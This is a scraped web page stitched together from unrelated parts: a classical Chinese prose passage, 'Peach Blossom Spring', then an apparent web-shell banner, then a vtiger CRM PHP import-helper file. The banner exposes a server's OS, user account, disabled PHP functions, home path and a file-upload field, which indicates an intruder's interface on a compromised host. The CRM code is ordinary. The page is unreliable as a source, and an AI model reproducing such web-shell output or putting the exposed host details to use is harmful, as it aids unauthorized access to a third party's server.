晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/modules/Import/helpers/ |
Upload File : |
<?php
/* +***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
* *********************************************************************************** */
//required for auto detecting file endings for files create in mac
ini_set("auto_detect_line_endings", true);
class Import_Utils_Helper {
static $AUTO_MERGE_NONE = 0;
static $AUTO_MERGE_IGNORE = 1;
static $AUTO_MERGE_OVERWRITE = 2;
static $AUTO_MERGE_MERGEFIELDS = 3;
static $supportedFileEncoding = array('UTF-8'=>'UTF-8', 'ISO-8859-1'=>'ISO-8859-1');
static $supportedDelimiters = array(','=>'comma', ';'=>'semicolon', '|'=> 'Pipe', '^'=>'Caret');
static $supportedFileExtensions = array('csv','vcf');
public function getSupportedFileExtensions() {
return self::$supportedFileExtensions;
}
public function getSupportedFileEncoding() {
return self::$supportedFileEncoding;
}
public function getSupportedDelimiters() {
return self::$supportedDelimiters;
}
public static function getAutoMergeTypes($moduleName) {
$mergeTypes = array(self::$AUTO_MERGE_IGNORE => 'Skip');
if (Users_Privileges_Model::isPermitted($moduleName, 'EditView')) {
$mergeTypes[self::$AUTO_MERGE_OVERWRITE] = 'Overwrite';
$mergeTypes[self::$AUTO_MERGE_MERGEFIELDS] = 'Merge';
}
return $mergeTypes;
}
public static function getMaxUploadSize() {
global $upload_maxsize;
return $upload_maxsize;
}
public static function getImportDirectory() {
global $import_dir;
$importDir = dirname(__FILE__). '/../../../'.$import_dir;
return $importDir;
}
public static function getImportFilePath($user) {
$importDirectory = self::getImportDirectory();
return $importDirectory. "IMPORT_".$user->id;
}
public static function getFileReaderInfo($type) {
$configReader = new Import_Config_Model();
$importTypeConfig = $configReader->get('importTypes');
if(isset($importTypeConfig[$type])) {
return $importTypeConfig[$type];
}
return null;
}
public static function getFileReader($request, $user) {
$fileReaderInfo = self::getFileReaderInfo($request->get('type'));
if(!empty($fileReaderInfo)) {
require_once $fileReaderInfo['classpath'];
$fileReader = new $fileReaderInfo['reader'] ($request, $user);
} else {
$fileReader = null;
}
return $fileReader;
}
public static function getDbTableName($user) {
$configReader = new Import_Config_Model();
$userImportTablePrefix = $configReader->get('userImportTablePrefix');
$tableName = $userImportTablePrefix;
if(method_exists($user, 'getId')){
$tableName .= $user->getId();
} else {
$tableName .= $user->id;
}
return $tableName;
}
public static function showErrorPage($errorMessage, $errorDetails=false, $customActions=false) {
$viewer = new Vtiger_Viewer();
$viewer->assign('ERROR_MESSAGE', $errorMessage);
$viewer->assign('ERROR_DETAILS', $errorDetails);
$viewer->assign('CUSTOM_ACTIONS', $customActions);
$viewer->assign('MODULE','Import');
$viewer->view('ImportError.tpl', 'Import');
}
public static function showImportLockedError($lockInfo) {
$moduleName = getTabModuleName($lockInfo['tabid']);
$userName = getUserFullName($lockInfo['userid']);
$errorMessage = sprintf("%s is importing %s. Please try after some time.",$userName, $moduleName);
self::showErrorPage($errorMessage);
}
public static function showImportTableBlockedError($moduleName, $user) {
$errorMessage = vtranslate('ERR_UNIMPORTED_RECORDS_EXIST', 'Import');
$customActions = array('LBL_CLEAR_DATA' => "location.href='index.php?module={$moduleName}&view=Import&mode=clearCorruptedData'");
self::showErrorPage($errorMessage, '', $customActions);
}
public static function isUserImportBlocked($user) {
$adb = PearDatabase::getInstance();
$tableName = self::getDbTableName($user);
if(Vtiger_Utils::CheckTable($tableName)) {
$result = $adb->query('SELECT 1 FROM '.$tableName.' WHERE status = '. Import_Data_Action::$IMPORT_RECORD_NONE);
if($adb->num_rows($result) > 0) {
return true;
}
}
return false;
}
public static function clearUserImportInfo($user) {
$adb = PearDatabase::getInstance();
$tableName = self::getDbTableName($user);
$adb->query('DROP TABLE IF EXISTS '.$tableName);
Import_Lock_Action::unLock($user);
Import_Queue_Action::removeForUser($user);
}
public static function getAssignedToUserList($module) {
$cache = Vtiger_Cache::getInstance();
if($cache->getUserList($module,$current_user->id)){
return $cache->getUserList($module,$current_user->id);
} else {
$userList = get_user_array(FALSE, "Active", $current_user->id);
$cache->setUserList($module,$userList,$current_user->id);
return $userList;
}
}
public static function getAssignedToGroupList($module) {
$cache = Vtiger_Cache::getInstance();
if($cache->getGroupList($module,$current_user->id)){
return $cache->getGroupList($module,$current_user->id);
} else {
$groupList = get_group_array(FALSE, "Active", $current_user->id);
$cache->setGroupList($module,$groupList,$current_user->id);
return $groupList;
}
}
public static function hasAssignPrivilege($moduleName, $assignToUserId) {
$assignableUsersList = self::getAssignedToUserList($moduleName);
if(array_key_exists($assignToUserId, $assignableUsersList)) {
return true;
}
$assignableGroupsList = self::getAssignedToGroupList($moduleName);
if(array_key_exists($assignToUserId, $assignableGroupsList)) {
return true;
}
return false;
}
public static function validateFileUpload($request) {
$current_user = Users_Record_Model::getCurrentUserModel();
$uploadMaxSize = self::getMaxUploadSize();
$importDirectory = self::getImportDirectory();
$temporaryFileName = self::getImportFilePath($current_user);
if($_FILES['import_file']['error']) {
$request->set('error_message', self::fileUploadErrorMessage($_FILES['import_file']['error']));
return false;
}
if(!is_uploaded_file($_FILES['import_file']['tmp_name'])) {
$request->set('error_message', vtranslate('LBL_FILE_UPLOAD_FAILED', 'Import'));
return false;
}
if ($_FILES['import_file']['size'] > $uploadMaxSize) {
$request->set('error_message', vtranslate('LBL_IMPORT_ERROR_LARGE_FILE', 'Import').
$uploadMaxSize.' '.vtranslate('LBL_IMPORT_CHANGE_UPLOAD_SIZE', 'Import'));
return false;
}
if(!is_writable($importDirectory)) {
$request->set('error_message', vtranslate('LBL_IMPORT_DIRECTORY_NOT_WRITABLE', 'Import'));
return false;
}
if ($request->get('type') == "ics" || $request->get('type') == "vcf") {
$fileCopied = move_uploaded_file($_FILES['import_file']['tmp_name'], $temporaryFileName);
}else{
$fileCopied = self::neutralizeAndMoveFile($_FILES['import_file']['tmp_name'], $temporaryFileName, $request->get('delimiter'));
}
if(!$fileCopied) {
$request->set('error_message', vtranslate('LBL_IMPORT_FILE_COPY_FAILED', 'Import'));
return false;
}
$fileReader = Import_Utils_Helper::getFileReader($request, $current_user);
if($fileReader == null) {
$request->set('error_message', vtranslate('LBL_INVALID_FILE', 'Import'));
return false;
}
$hasHeader = $fileReader->hasHeader();
$firstRow = $fileReader->getFirstRowData($hasHeader);
if($firstRow === false) {
$request->set('error_message', vtranslate('LBL_NO_ROWS_FOUND', 'Import'));
return false;
}
return true;
}
/**
* To remove carriage return(\r) in end of every line and make the file neutral
* @param type $uploadedFileName
* @param type $temporaryFileName
* @return boolean
*/
public static function neutralizeAndMoveFile($uploadedFileName, $temporaryFileName, $delimiter = ','){
$file_read = fopen($uploadedFileName,'r');
$file_write = fopen($temporaryFileName,'w+');
while($data = fgetcsv($file_read, 0, $delimiter)){
fputcsv($file_write, $data, $delimiter);
}
fclose($file_read);
fclose($file_write);
return true;
}
static function fileUploadErrorMessage($error_code) {
switch ($error_code) {
case 1 : $errorMessage = 'The uploaded file exceeds the upload_max_filesize directive in php.ini';
case 2 : $errorMessage = 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form';
case 3 : $errorMessage = 'The uploaded file was only partially uploaded';
case 4 : $errorMessage = 'No file was uploaded';
case 6 : $errorMessage = 'Missing a temporary folder';
case 7 : $errorMessage = 'Failed to write file to disk';
case 8 : $errorMessage = 'File upload stopped by extension';
default : $errorMessage = 'Unknown upload error';
}
return $errorMessage;
}
}